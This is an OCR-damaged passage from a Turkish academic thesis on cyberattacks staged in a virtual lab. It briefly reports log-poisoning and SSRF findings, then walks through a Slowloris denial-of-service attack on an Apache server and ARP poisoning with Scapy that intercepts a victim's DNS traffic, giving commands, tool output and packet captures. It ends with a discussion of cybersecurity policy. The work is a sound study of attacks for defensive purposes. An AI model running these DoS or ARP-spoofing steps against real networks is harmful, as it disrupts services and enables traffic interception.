4.1.9. Giinliik giivenlik kayitlar1 ve izleme hatalari saldir1 bulgular:

Bu zafiyet tiiriinde SSH ile log zehirleme yontemi kullanilarak sunucuya saldiri
gergeklestirilmistir. Log zehirleme yoOntemi, saldirganin zararli komutlar1 log

dosyasina gondererek bu komutla araciligiyla zafiyeti somiirmesidir.

Sistem tizerinde gergeklestirilen her bir hareketin kayit altina alinmasi log kayitlar
sayesinde saglanmaktadir ve bu kayitlar sistem giivenligi noktasinda biiyiik 6nem arz
etmektedir. Gilivenlik i¢in 6nemli bir konumda yer alan log kayitlari, filtreleme
islemine tabi tutulmadan kaydedildigi taktirde giivenlik agiklarina sebebiyet vererek

sistem giivenligini tehlikeye attig1 gozlemlenmistir.

4.1.10. Sunucu tarafh istek sahteciligi saldir1 bulgular

Sunucu tarafli istek sahteciligi (SSRF) zafiyetinin uygulama asamasinda, local
dosyada bulunan ve igerisinde PHP komutlari bulunan bir dosya ile zafiyetli

sunucuda port taramasi islemi yapilmstir.

Kali Linux’ta ve diger isletim sistemleri {izerinde port tarama yapabilen bir¢cok arac
mevcuttur. Uygulamayi, bu araglardan aymran en onemli fark saldirganin lokal
dosyasini hedef sisteme enjekte ederek komut g¢alistirabilmesidir. Calismay1 temel
seviyede aktarmak i¢in port tarama islemi secilmistir fakat saldirgan bu zafiyet

araciligi ile diledigi komutu calistirabilme yetkisine sahiptir.
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4.2. Diger Saldir1 Yontemleri
4.2.1. DDoS saldirisi

DDoS (Distributed Denial of Service) ataklari bant genisligi tiiketen ve kaynak
tiiketen ataklar olarak iki gruba ayrilabilir. Bant genisligi tilkketen DDoS saldirilarinda
hedef bilgisayara gereksiz ve ¢ok sayida paket gonderilir. Kaynak tliketen DDoS

saldirilarinda ise hedef bilgisayarin kaynaklarinin tiiketilmesi amaglanir [29].

Saldirgan

Sistem Kullanicis

Hedef Bilgisayar

Sekil 4.14. DDoS Saldir1 Semast

Ornek senaryoda Ubuntu izerine kurulu bir Apache2 web sunucusu hedef sistem

olarak segilmistir.

O & 192.168.253.130

@ Apache2 Ubuntu Default Page

%_

This is the default welcome page used to test the correct operation of the Apache2 server after
installation on Ubuntu systems. It is based on the equivalent page on Debian, from which the Ubuntu
Apache packaging is derived. If you can read this page, it means that the Apache HTTP server installed
at this site is working properly. You should replace this file (located at /var/www/html/index.html)
before continuing to operate your HTTP server.

If you are a normal user of this web site and don't know what this page is about, this probably means
that the site is currently unavailable due to maintenance. If the problem persists, please contact the
site's administrator.

Configuration Overview

Sekil 4.15. Sunucu bilgisayar giris sayfasi
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DDoS saldirist igin python ile gelistirilmis slowloris aract kullanilmistir. Slowloris
arac1 Oncelikle cok fazla http istegi gonderir. Ardindan baglantilar1 acik tutmak icin
15 saniyede bir baslik bilgisi gonderir. Sunucu baglant1 kapattigi anda yeni bir

baglant1 olusturup sunucunun baglanti soket kaynagini tiiketmeye calisir.

Slowloris  aracinin  kurulumu  i¢in  git  terminal  ekranina  ‘clone
https://github.com/gkbrk/slowloris.git’  komutu  yazilir. ~ Ara¢  kurulumu
tamamlandiktan sonra ilgili klasore gitmek i¢in ‘cd slowloris’ komutu kullanilir.

Ardindan ‘python3 slowloris.py hedef sunucu’ komutu yazilarak atak baslatilir.

a krkymhmt@kali: ~/slowloris

.]_ .

(
E cd slowloris

( )-[~/slowloris]

[j_ [ 13 slowloris.py 192.168.253.130

[18-01-2022 01:43:26] Attacking 192.168.253.130 with 150 sockets.
[18-01-2022 01:43:26] Creating sockets...

[18-01-2022 :43:26] Sending keep-alive headers... Socket count: 150
[18-p1-2022 ©1:43:41] Sending keep-alive headers... Socket count: 150
[18-01-2022 01:43:56] Sending keep-alive headers... Socket count: 150
[18-01-2022 01:44:11] Sending keep-alive headers... Socket count: 150
[18-01-2022 01:44:26] Sending keep-alive headers... Socket count: 150
[18-81-2022 @1:44:41] Sending keep-alive headers... Socket count: 150
[18-p1-2022 @01:44:56] Sending keep-alive headers... Socket count: 150
[18-01-2022 01:45:12] Sending keep-alive headers... Socket count: 150
[18-01-2022 01:45:27] Sending keep-alive headers... Socket count: 150
[18-01-2022 01:45:42] Sending keep-alive headers... Socket count: 150
[18-01-2022 01:45:57] Sending keep-alive headers... Socket count: 150
[18-81-2022 ©81:46:12] Sending keep-alive headers... Socket count: 150
[18-p1-2022 01:46:27] Sending keep-alive headers... Socket count: 150
[18-01-2022 01:46:42] Sending keep-alive headers... Socket count: 150

Sekil 4.16. Slowloris aract ile DDoS saldirisi

Ilgili sunucuya erisilmeye calisildiginda sekil 4.17.’teki gibi timeout hatas1 alindig

gozlemlenmistir.
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192.168.253.130

Th

inect
The server at 192.168.253.130 is taking too long to respond.
» The site could be temporarily unavailable or too busy. Try again in a few moments.

= Ifyou are unable to load any pages, check your computer’s network connection.

s If your computer or network is protected by a firewall or proxy, make sure that Firefox is permitted to access
the web.

Sekil 4.17. DDoS saldirist sonrast hizmet veremeyen sunucu

4.2.1.1. DDoS saldirisinin Wireshark ile incelenmesi

Wireshark ile saldir1 analiz edildiginde, periyodik ve eszamanli olarak ¢ok sayida
TCP paketinin gonderildigi gozlemlenmistir. 15 saniyede bir gonderilen bu TCP

paketleri ile hedef sistemde baglantilarin agik tutulmasi hedeflenmistir.

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
Anm mERG R ]_eaE
[M]Apply a display filter Ctrl-/>
No. Time Source Destination Prntu(c\ Lengtt Info
3 .168. , ACK] Se
2 0.000247782 192.168.253.128 192.168.253.130 TCP 76 46924 ~ 80 [PSH, ACK] Se Ac 502 Len=10 T5va 394144749 TSecr=602079131
3 0.000470788 192.168.253.128 192.168.253.130 TCP 76 46926 ~ 80 [PSH, ACK] Se Ac 'vdln 502 Len=10 TSva 394144749 TSecr=602079136
4 0.000604344 192.168.253.128 192.168.253.130 TCP 77 46928 — B0 [PSH, ACK] Se Win=562 Len=11 TSval=3394144749 TSecr=602079138
5 0.000724834 192.168.253.130 192.168.253.128 TCP 66 80 — 46922 [ACK] Seg=1 Ac 12 Win=508 Len=0 TSval=602094176 TSecr=3394144749
6 0.000781506 192.168.253.128 192.168.253.130 TCP 77 46930 - 8@ Win=5602 Len=11 T5val=3394144749 TSecr=602079140
7 0.006906738 192.168.253.130 192.168.253.128 TCP 66 88 ~ 46924 =508 Len=@ TSval=602094176 TSecr=3394144749
8 0.000958185 192.168.253.128 192.168.253.130 TCP 77 46932 ~ B0 [PSH, ACK] Seq=1 Ack=1 Win=502 Len=11 TSval=3394144750 TSecr=602079140
9 0.601165797 192.168.253.128 192.168.253.130 TCP 77 46934 - 80 Win=562 Len=11 TSval=3394144750 TSecr=602079142
10 0.081301559 192.168.253.130 192.168.253.128 TCP 66 80 — 46926 08 Len=0 TSval=602094176 TSecr=3394144749
11 0.081361917 192.168.253.130 192.168.253.128 TCP 66 88 ~ 46928 08 Len=0 TSval=602094176 TSecr=3394144749
12 0.001369764 192.168.253.128 192.168.253.130 TCP 77 46936 - 80 Ac Win=562 Len=11 TSval=3394144750 TSecr=602079147
13 0.001551160 192.168.253.130 192.168.253.128 TCP 66 80 — 46930 12 Wln 588 Len=0 TSval=602094176 TSecr=3394144749
14 0.001551314 192.168.253.130 192.168.253.128 TCP 66 88 — 46932 TSval=602094176 TSecr=3394144750
15 0.001551397 192.168.253.130 192.168.253.128 TCP 66 80 — 46934 08 Len=0 TSval=602094177 TSecr=3394144750
16 0.001561818 192.168.253.128 192.168.253.130 TCP 77 46938 - 80 Win=562 Len=11 TSval=3394144750 TSecr=602079148
17 0.001726175 192.168.253.128 192.168.253.130 TCP 77 46948 - 80 Ac Win=5602 Len=11 T5val=3394144750 TSecr=602079150
18 0.081897936 192.168.253.130 192.168.253.128 TCP 66 88 ~ 46936 [ACK] Seq=1 Ack=12 Win=508 Len=@ TSval=602094177 TSecr=3394144750
19 0.001908196 192.168.253.128 192.168.253.130 TCP 77 46942 — 80 Win=502 Len=11 TSval=3394144751 TSecr=602079154
20 0.002046752 192.168.253.130 192.168.253.128 TCP 66 80 — 46938 =508 Len=0 TSval=602094177 TSecr=3394144750
21 0.002099531 192.168.253.128 192.168.253.130 TCP 77 46944 ~ 80 Win=5602 Len=11 TSval=3394144751 TSecr=602079160
22 0.002200111 192.168.253.130 192.168.253.128 TCP 66 88 ~ 46940 in=568 Len=0 TSval=682094177 TSecr=3304144750
23 0.002419501 192.168.253.130 192.168.253.128 TCP 66 80 — 46942 =508 Len=0 TSval=602094177 TSecr=3394144751
24 0.002419722 192.168.253.130 192.168.253.128 TCP 66 80 — 46944 n: el TSval=602094177 TSecr=3394144751
25 0.013318815 192.168.253.128 192.168.253.130 TCP 74 46946 ~ 80 4248 Len=B M55=1460 SACK PERM=1 TSval=3394144762 TSecr=0
26 0.014259116 192.168.253.130 192.168.253.128 TCP 74 88 ~ 46946 Ack=1 Win=65160 Len=0 MSS=1466 SACK PERM=1 TSval-60209418
27 0.014371747 192.168.253.128 192.168.253.130 TCP 66 46946 ~ B0 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=3394144763 TSecr=602094189
28 0.014541364 192.168.253.128 192.168.253.130 TCP B7 46946 — 80 [PSH, ACK] Seq=1 Ack=1 Win=64256 Len=21 TSval=3384144763 TSecr=602094189 [
29 0.014830886 192.168.253.128 192.168.253.130 TCP 74 46948 — 80 [SYN] Se Win=64240 Len=0 M55=1460 SACK PERM=1 TSval=3384144763 TSecr=0
30 0.015029752 192.168.253.130 192.168.253.128 TCP 66 80 — 46946 [ACK] Segq=1 Ack=22 Win=65152 Len=0 TSval=602094190 TSecr=3394144763
31 0.015066809 192.168.253.128 192.168.253.130 TCP 234 GET /7?1733 HTTP/1.1 [TCP segment of a reassembled PDU]
32 0.015240688 192.168.253.130 192.168.253.128 TCP 74 88 — 46948 [SYN, ACK] Seq=0 Ack=1 Win=6516@ Len=0 M55=146@ SACK_PERM=1 TSval=68209419
33 0.015328497 192.168.253.128 192.168.253.130 TCP 66 46948 ~ 80 [ACK] Seq=1 Ack=1 Win=64256 Len=08 TSval=3304144764 TSecr=602094190
34 0.015493364 192.168.253.128 192.168.253.136 TCP 87 46948 - 80 [PSH, ACK] Seq=1 Ack=1 Win=64256 Len=21 TSval=3394144764 TSecr=602094190 [
» Frame 1: 77 bytes on wire (616 bits), 77 bytes captured (616 bits) on interface etha id @
» Ethernet II, Src: VMware_eZ:8e:3e (00:0c:29:e2:8e:3e), Dst: VMware_©1:d6:58 (00:0c:29:01:d6:58)
» Internet Prutocul Version 4, Src: 192.168.253.128, Dst: 192.168.253.130
» Transmission Control Protocol, Src Port: 46922, Dst Port: 80, Seq: 1, Ack: 1, Len: 11
» Hypertext Transfer Protocol

Sekil 4.18. Wireshark ile DDoS saldir1 paketlerinin incelenmesi
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Sunucuya giden istek taleplerini arttirmak amaciyla birden fazla terminal {izerinden
eszamanli olarak DDoS saldirt gergeklestirilmistir. Bir terminal iizerinden
gerceklestirilen DDoS saldirisinda, istemcinin gonderdigi paket sayisinin periyodik
zaman araliklarinda neredeyse ayni oldugu goézlemlenmistir. Bu durum, sunucunun
gelen istekleri karsiladigi olarak yorumlanabilir. Birden fazla terminal iizerinden
gercgeklestirilen DDoS saldirisinda ise sunucuya giden paket sayisinda azalma oldugu
gOrulmistiir. Bu durum bizlere sunucuda bulunan kullanilabilir soket sayisinin

giderek azaldigini gostermektedir.

Wireshark /0 Graphs: etho

Goklu terminal agilmadan énce Coklu terminal agildiktan sonra

Packets1 sec

I

L L1 N W ” L”DM*

|

Sunucu, istemciden gelen talepler icin | Sunucuda hu\unm uygun soket
uygun soket bU\ﬂbHWOf sayisi giderek azaliyor

Wl

H ‘UMJ

Time (s)

200

Sekil 4.19. DDoS saldirisinin birden fazla terminal {izerinden yapilmasi durumunda sunucuya giden network
trafigi

Saldir1, bir terminal zerinden ydratiliyor olsa dahi bir sure sonra masait olan bir

soket bulunamayacagi i¢in sistem hizmet disi kalmasi beklenmektedir. Coklu

terminal acilarak bu siirenin kisaldigini gbzlemlemek amaglanmistir.

4.2.2. ARP zehirlenmesi

Bu saldir1 6rnegi i¢in Scapy araci kullanilmistir. Bir cihaz yerel agda bulunan bagka
bir cihaza paket gonderebilmesi icin IP adresinin yaninda MAC adresini de bilmesi
gerekir. Kaynak cihaz, hedef cihazin MAC adresini 6grenmek i¢in tiim bilgisayarlara
MAC adresi bolimi FF-FF-FF-FF-FF-FF olan 6zel bir istekte bulunur. Bu istege
ARP (Address Resolution Protocol) istegi adi verilir. Hedef sistemin MAC adresini

ogrenildiginde artik iletisim ARP tablosu (anahtarlama tablosu) tizerinden olur [30].
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ARP zehirlenmesi saldirganin yerel agda sahte ARP mesajlar1 gondermesi olarak
aciklanabilir. Bu saldir1 6rneginde Scapy kullanilarak ARP (Address Resolution
Protocol) zehirlemesi yapilmistir. Oncelikle hedef sistemin MAC adresini 6grenmek
amaciyla yerel aga ‘Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst="<Hedef IP
Adresi>")” komutu ile bir ARP istegi gonderilmistir.

arpbroadcast= Ether(dst= )/ARP(op=, pdst=
arpbroadcast.show()
[ luss

received=srp(arpbroadcast, timeout=")

Begin emission:

Finished sending 1 packets.

*

Received 1 packets, got 1 answers, remaining & packets
received[#][0][1].hwsrc

'00:0c:29:01:d6:58"

Sekil 4.20. ARP Request ile hedef sistemin MAC adresinin dgrenilmesi

Ayni yontem kullanilarak router cihazininda MAC adresi Ogrenilmistir. Ayni

zamanda hedef sistemin ARP tablosu sekil 4.21.’de belirtilmistir.

S arp -a
? (192.168.253.254) at 00:50:56:Ff7:31:1d [ether] on ens33

? (192.168.253.2) at 00:50:56:ef:a9:06 [ether] on ens33
? (192.168.253.133) at 00:0c:29:4c:73:30 [ether] on ens33

Sekil 4.21. Hedef sistemin saldir1 dncesi ARP tablosu

Router’in ve hedefin IP adresleri ve MAC adresleri bilindigine gore ARP
zehirlenmesi saldir1 baglatilabilir. Bunun i¢in Scapy ile bir ARP paketi olusturmak
ilk asamada yeterli olacaktir. ARP paketi igeriginde kaynak IP adresi(psrc), hedef IP
adresi(pdst) ve hedef MAC adresi(hwdst) bilgileri bulunmaktadir. Hedefe verilen
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sahte ARP yaniti sebebiyle hedef bu paketi aldiginda, ag ge¢idinin IP adresiyle
iligkili sahte MAC adresiyle kendi ARP tablosunu giinceller. Benzer sekilde ag

gecidi icinde hedef sistem adina sahte bir ARP mesaj1 olugturulmustur.

spoofed= ARP(op=", psrc=

send( spoofed)

Sent 1 packets.
spoofed= ARP(op=", psrc=

send( spoofed)

Sekil 4.22. Scapy ile ARP zehirlenmesi saldirist

ARP zehirlenmesi saldirisi tamamlandiktan sonra hedef sistemin ARP tablosu

kontrol edildiginde saldirinin basariyla tamamlanmistir.

:~S arp -a
? (192.168.253.254) at 00:50:56:f7:31:1d [ether] on ens33
7 (192.168.253.2 at 00:0c:29:4c:73:30 [ether] on ens33

7 (192.168.253.133) at 00:0c:29:4c:73:30 [ether] on ens33
N |

-

Sekil 4.23. Hedef sistemin saldir1 sonrast ARP tablosu

Bu noktadan itibaren hedef sistemin DNS paketleri saldir1 yapilan sistem {izerinden

izlenebilir.
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W [dns
No. Time Source Destination Protocal Length Info
661 14,316789350 192.168.253.130 192.168.253.2 DNS 76 Standard query ©x8180 A www.Tacebook.com
662 14.316814606 192.168.253.130 192.168.253.2 DNS 76 Standard query @x8180 A www.Tacebook.com
663 14.319151316 192.168.253.2 192.168.253.130 DNS 92 Standard query response 8x8180 A www.Tacebook.com
664 14.319171829

DNS 92 Standard query response ©x8188 A www.Tacebook.com
76 Yy BXarhE AAAA WWW.
BxaThe AAAL WiWwW.

666 320258737 ]

253 DNS Standard Tacebook.com

667 14.328945449 192.168.253. DNS 117 Standard query response @x5cd6 A vitux.com A 184.2

668 14,3280455650 192.168.253. DNS 133 Standard query response @xaf56 AAAA www.Tacebook.c
' 660 14,328068465 192.168.253. DNS 117 Standard query response @x5cdé A vitux.com A 184.Z
L 670 14.329029827 192.168.253. DNS 133 Standard query response @xaf56 AAAA www.Tacebook.c

671 14.330182503 192.168.253. DNS 69 Standard query @xf5eb AAAA vitux.com

672 14.330199186 192.168.253. DNS 69 Standard query @xfSeb AAAA vitux.com

673 14.330677950 192.168.253. DNS 73 Standard query @x28b5 A askubuntu.com

674 14.330692015 192.168.253. DNS 73 Standard query @x28b5 A askubuntu.com

675 14.340830599 192.168.253.2 192.168.253.130 DNS 153 Standard query response 8xfSeb AAAA vitux.com AAAR

676 14.340854277 192.168.253.2 192.168.253.130 DNS 153 Standard query response 8xfSeb AAAA vitux.com AAAR

-

Frame 665: 76 bytes on wire (608 bits), 76 bytes captured (688 bits) on interface eth®, id @
~ Ethernet II, Src: VMware_©1:d6:58 (@0:0c:29:01:d6:58), Dst: VMware_4c:73:30 (08:0c:29:4c:73:30)
~ Destination: VMware_4c:73:30 (00:0c:29:4c:73:30)
Address: VMware_4c:73:30 (0@:0c:29:4c:73:30)
. .8 e . .... = L6 bit: Globally unigue address (factory default)
R - R vev. -... = I6 bit: Individual address (unicast)
« Source: VMware_©1: 58 (00:0c:29:01:d6:58)
Address: VMware_01:d6:58 (00:0c:29:91:d6:58)
e Bl L e e LG bit: Globally unique address (factory default)
IG6 bit: Individual address (unicast)

Type: IPv4 (0x0800)
Internet Protocol Version 4, Src: 192.168.253.130, Dst: 192.168.253.2
User Datagram Protocol, Src Port: 57827, Dst Port: 53
Domain Name System (query)

- -

Sekil 4.24. Saldir1 yapilan sistem tizerinden hedef sistemin DNS isteklerinin Wireshark ile gérinttilenmesi



BOLUM 5. TARTISMA VE SONUC

Teknolojinin hizla gelismesi, bireysel ve kurumsal anlamda bir¢ok kolaylik
saglamaktadir. Oyle ki artik kamu, saglik, askeri, finansal, enerji ve bircok sistemin
altyapist bilgi teknolojileri lizerine insa edilmistir. Bu kritik altyapilarin giivenligi
siber giivenlik kavraminin Onemini giinden giine artirmaktadir. Siber giivenlik
giinimiizde sadece altyapilarin korunmasi olarak goriilmemelidir. Bir {lkenin
yasamimin devami, gilivenliginin ve geleceginin teminatidir. Saglik, enerji gibi
devamlilig1 ciddi derecede 6nemli olan altyapilara gerceklestirilen saldirilar tilkelere
ve kurumlara ¢ok ciddi zararlar verebilir hatta kaos ortami olusturabilir. Bu denli

kritik bir konuya 6nem verilmesi kurumlarin ve iilkelerin gelecegi icin sarttir.

Gelisen teknoloji ile birlikte siber korsanlar da yeni saldir1 yontemleri
gelistirmektedir. Bu asamada risklerin tespit edilmesi, tespit edilen risklere miidahale
edilmesi, belli standartlar kapsaminda BGYS kullanilmas1 gerekmektedir. Bu
noktada sizma testleri onemli bir ara¢ olarak kullanilmaktadir. Saldir1 Oncesinde
gerceklestirilen sizma testleri ile uygulamalar ve hizmetlerde mevcut giivenlik

acikliklar: tespit edilebilir ve 6nlem alinabilir.

Siber giivenlikte en Onemli unsurun insan oldugu unutulmamalidir. Kurumlar,
oncelikle kurum biinyesinde siber giivenlik eylem planina olusturmalidir ve
calisanlarina bu planda belirtildigi sekilde belirli araliklarla siber giivenlik egitimi
vermelidir. Calisanlarin erismeye c¢alistig1 siteler, indirilen dosyalar ve giris ¢ikis

aygitlart uygun yazilimlar ile kontrol altinda tutulmalidir.

Yazilim gelistirme siire¢lerinde uygulama gelistirme birimleri giivenli yazilim
gelistirme metodolojilerini kullanmalidir. Gelistirilen uygulamada kritik goriilen

noktalar var ise siber giivenlik birimlerinin onay1 alinmalidir.
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Kurumlarin guncel siber tehditleri ve bu tehditlerle basa ¢ikabilmek igin gereken
eylemleri takip etmesi, saldirganlarin atak yontemlerinin belirlenmesi, diinya
capinda gerceklestirilen siber ataklarin takibi ve ¢Ozliimii noktasinda alinan
aksiyonlarin incelenmesi, siber giivenlik ile alakali giincel makale ve raporlarin
takibi kurumsal givenlik noktasinda 6nemli konu basliklart olarak karsimiza
cikmaktadir.

Kurumlar igin siber glvenlik ikinci plana atilabilecek bir konu olmaktan ziyade bir
zorunluluk haline gelmistir. Giinden giine artan ve karmasik hale gelen siber

saldirilar disiiniildiigiinde guvenlikten tasarruf olamayacagi asikar bir durumdur.

Gergeklestirilen saldirilar i¢in sanal makine {izerinde olusturulan makinelerden
faydanilmistir. Bu sayede hizli, pratik ve maliyetsiz bir sekilde saldirt ortamlar
hazirlanmistir. Sanal makineler, zararli yazilimlarin tespiti i¢in harici uygulamalar
tarafindan taranabilen dosyalar oldugundan giivenligi iyilestirir. Ayrica alinan anlik
goriintli sayesinde zararli yazilim makine iizerinde tespit edildiginde anlik goriintiiye

doniis yapilabilir [31].

TUm alanlarda ‘milli” kavrami 6nemlidir fakat teknolojide bu kavram giliniimiizde
bagimsizlik ile esdeger bir noktaya gelmistir. Kullanilan teknolojilerin milli
olmamasi, iilkemizi teknoloji ireten {ilkelere bagimli kilmakla birlikte bu
teknolojilerin kullandig1 verilerin nasil islendigi noktasinda bizlere ylizde yiiz bir
gliven saglamayacaktir. Milli isletim sisteminin kullanilmasi, teknoloji firmalarinin
ve AR-GE calismalarinin desteklenmesi, agik kaynak kodlu yazilimlarin tercih

edilmesi, kalifiye eleman yetistirilmesi bu hususta 6nem teskil etmektedir.

Bu alana ilgi duyan ve bu alanda ¢alismak isteyen bireyler i¢in ¢alisma kapsaminda
kurumlara yapilan en giincel saldir1 yontemleri referans alinmistir. ‘Giincel” kavrami
zamanla degisecektir fakat izlenen yollar ve uygulanan yontemler ile bu ¢alismanin

temel bir kaynak olmasi1 hedeflenmektedir.
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Mevcut calismaya ek olarak, incelenen ve gerceklestirilen saldir1 senaryolarini
engelleme veya kars1 koyma yontemleri arastirilabilir. Incelenen her bir zafiyet bash
basina derin arastirmalara konu olabilecek niteliktedir. Bu ¢alismada zafiyetlerin her
biri i¢in bir CWE modellenmistir. Ancak test edilebilecek bircok CWE mevcuttur. Bu

CWE’ler modellenerek 6rnek saldir1 senaryolar1 gerceklestirilebilir.
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